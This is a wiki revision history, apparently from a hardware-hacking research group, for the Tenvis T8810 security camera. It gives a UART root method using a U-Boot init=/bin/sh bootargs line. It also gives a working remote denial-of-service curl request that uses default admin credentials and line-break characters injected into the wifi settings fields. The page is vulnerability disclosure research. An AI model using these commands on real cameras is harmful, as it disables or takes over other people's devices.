Tenvis T8810 - Revision history

CJ: /* UART Root */

2017-08-11T01:08:16Z

UART Root

← Older revision		Revision as of 01:08, 11 August 2017
Line 12:		Line 12:

	==UART Root==		==UART Root==
	The UART interface on this device is located [pictured], and runs at ~~??????????~~ and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh		The UART interface on this device is located on the main board, above the power connector [pictured], and runs at 115200, 8n1 and auto boots to a Linux kernel after a three second delay in U-Boot. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh, as seen below:

	<pre style="white-space: pre-wrap;">		<pre style="white-space: pre-wrap;">

Zenofex at 12:33, 10 August 2017

2017-08-10T12:33:02Z

← Older revision		Revision as of 12:33, 10 August 2017
Line 11:		Line 11:
	[https://www.amazon.com/Indoor-Security-Camera-Baby-Monitor/dp/B01MFBBYO8/ref=cm_cd_al_qh_dp_t?tag=exploiteers-20 Purchase the Tenvis T8810 at Amazon]		[https://www.amazon.com/Indoor-Security-Camera-Baby-Monitor/dp/B01MFBBYO8/ref=cm_cd_al_qh_dp_t?tag=exploiteers-20 Purchase the Tenvis T8810 at Amazon]

	==~~Hardware~~ Root==		==UART Root==
	The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh		The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh

Line 21:		Line 21:
	TENVIS_T8110_UART.JPG		TENVIS_T8110_UART.JPG
	</gallery>		</gallery>

			=== Demo ===
			{{#ev:youtube\|nxnVUVMNO5Y}}

	==Remote Denial of Service==		==Remote Denial of Service==

0x00string at 06:04, 9 August 2017

2017-08-09T06:04:37Z

← Older revision		Revision as of 06:04, 9 August 2017
Line 9:		Line 9:
	== Purchase ==		== Purchase ==
	Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.		Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
	[https://www.amazon.com/dp/B01MFBBYO8 Purchase the Tenvis T8810 at Amazon]		[https://www.amazon.com/Indoor-Security-Camera-Baby-Monitor/dp/B01MFBBYO8/ref=cm_cd_al_qh_dp_t?tag=exploiteers-20 Purchase the Tenvis T8810 at Amazon]

	==Hardware Root==		==Hardware Root==

0x00string at 04:42, 9 August 2017

2017-08-09T04:42:50Z

← Older revision		Revision as of 04:42, 9 August 2017
Line 14:		Line 14:
	The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh		The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh

	<pre>		<pre style="white-space: pre-wrap;">
	setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm		setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
	</pre>		</pre>
Line 30:		Line 30:
	Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.		Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.

	<pre>		<pre style="white-space: pre-wrap;">
	curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed		curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed
	<pre>		<pre>

0x00string at 04:42, 9 August 2017

2017-08-09T04:42:07Z

← Older revision		Revision as of 04:42, 9 August 2017
Line 1:		Line 1:
	__FORCETOC__		__FORCETOC__
	{{Disclaimer}}		{{Disclaimer}}
	[[File:~~TENVIS_T8810~~.JPG\|120px\|left\|thumb]]		[[File:TENVIS_T8110.JPG\|120px\|left\|thumb]]
	[[Category:Networking]]		[[Category:Networking]]

Line 19:		Line 19:

	<gallery>		<gallery>
	~~TENVIS_T8810_UART~~.JPG		TENVIS_T8110_UART.JPG
	</gallery>		</gallery>

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:Networking =Tenvis T8810= == Purchase == Buying devices is expensive and, in a lot of ca..."

2017-08-09T04:35:04Z

Created page with "__FORCETOC__ {{Disclaimer}} 120px|left|thumb Category:Networking =Tenvis T8810= == Purchase == Buying devices is expensive and, in a lot of ca..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:TENVIS_T8810.JPG|120px|left|thumb]]
[[Category:Networking]]

=Tenvis T8810=

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[https://www.amazon.com/dp/B01MFBBYO8 Purchase the Tenvis T8810 at Amazon]

==Hardware Root==
The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh

<pre>
setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
</pre>

<gallery>
TENVIS_T8810_UART.JPG
</gallery>

==Remote Denial of Service==

===WARNING===

This will leave your device in an unusable state until recovered via UART. Proceed at your own peril.

Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.

<pre>
curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed
<pre>

Tenvis T8810 - Revision history

CJ: /* UART Root */

Zenofex at 12:33, 10 August 2017

0x00string at 06:04, 9 August 2017

0x00string at 04:42, 9 August 2017

0x00string at 04:42, 9 August 2017

0x00string: Created page with "__FORCETOC__ {{Disclaimer}} thumb Category:Networking =Tenvis T8810= == Purchase == Buying devices is expensive and, in a lot of ca..."

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:Networking =Tenvis T8810= == Purchase == Buying devices is expensive and, in a lot of ca..."